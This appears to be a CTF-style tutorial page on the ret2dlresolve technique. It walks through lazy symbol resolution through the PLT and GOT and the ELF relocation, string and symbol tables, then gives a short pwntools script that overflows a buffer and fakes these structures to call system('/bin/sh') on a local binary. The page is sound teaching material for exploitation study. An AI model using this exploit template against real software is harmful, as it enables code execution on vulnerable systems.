Ret2dlresolve
Resolving an arbitrary libc functions
The attacker tricks the binary into resolving an arbitrary function ( such as system
) into the PLT.
The attacks can then use this PLT function as an original binary's function, bypassing ASLR and requiring no libc leaks.
How it works ?
Dynamically-linked ELF objects import libc
functions when they are first called using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.
From the
.text
section, instead of calling read directly, there is a call to the corresponding function in the.plt
section (0x401090
).
0x00000000004015c9 <+129>: call 0x401090 <printf@plt>
2. From here, there is an indirect jump in the corresponding .got.plt
section (0x404048
)
0x401090 <printf@plt>: jmp QWORD PTR [rip+0x2fb2] # 0x404048 <[email protected]>
3. Since the symbol has not been resolved yet, this address contains the address of the next instruction in the function stub (0x401096
).
gdb-peda$ x/gx 0x404048
0x404048 <[email protected]>: 0x0000000000401096
4. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc_arg is pushed on the stack.
0x401096 <printf@plt+6>: push 0x6 # reloc_offset
5. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link_map address is pushed on the stack and finally the control is given to _dl_runtime_resolve().
0x40109b <printf@plt+11>: jmp 0x401020
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 # link_map
0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 # _dl_runtime_resolve
In order to resolve the functions, there are 3 structures that need to exist within the binary.
There are the 3 structures :
$ readelf -d server
0x0000000000000005 (STRTAB) 0x400668
0x0000000000000006 (SYMTAB) 0x4003c8
0x0000000000000017 (JMPREL) 0x4007f8
JMPREL segment (
.rel.plt
) that stores the Relocation Table, which maps each entry to a symbol
$ readelf -r chall
Relocation section '.rela.plt' at offset 0x7f8 contains 25 entries:
Offset Info Type Sym. Value Sym. Name + Addend
...
000000404048 000700000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
...
000000404070 000c00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
...
The column name
coresponds to the symbol name. The offset
is the GOT entry for the symbol. info
stores additional metadata.
STRTAB, a strings table for the names.
gdb-peda$ x/5s 0x400668
0x400668: ""
0x400669: "dprintf"
0x400671: "socket"
0x400678: "exit"
0x40067d: "htons"
SYMTAB, store symbol informations in structure.
typedef struct
{
Elf32_Word st_name ; /* Symbol name (string tbl index) */
Elf32_Addr st_value ; /* Symbol value */
Elf32_Word st_size ; /* Symbol size */
unsigned char st_info ; /* Symbol type and binding */
unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;
typedef struct {
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf64_Half st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
The most important value here is st_name
as this gives the offset in STRTAB of the symbol name. The other fields are not relevant to the exploit itself.
Exploit
Faking these 3 structures could enable to trick the linker into resolving an arbitrary function, parameters can also be pass in (such as /bin/sh
) once resolved.
pwntools contains a Ret2dlresolvePayload
function that can automate the majority of the exploit
from pwn import *
elf = context.binary = ELF('./chall')
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * offset) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
This function will fake and write the structures at the correct address in order to call an arbitrary function system
with /bin/sh
as argument.
Note that a method to edit an arbitrary memory location is needed. In the previous example, a ROP chain using read
is used.
Resources
Last updated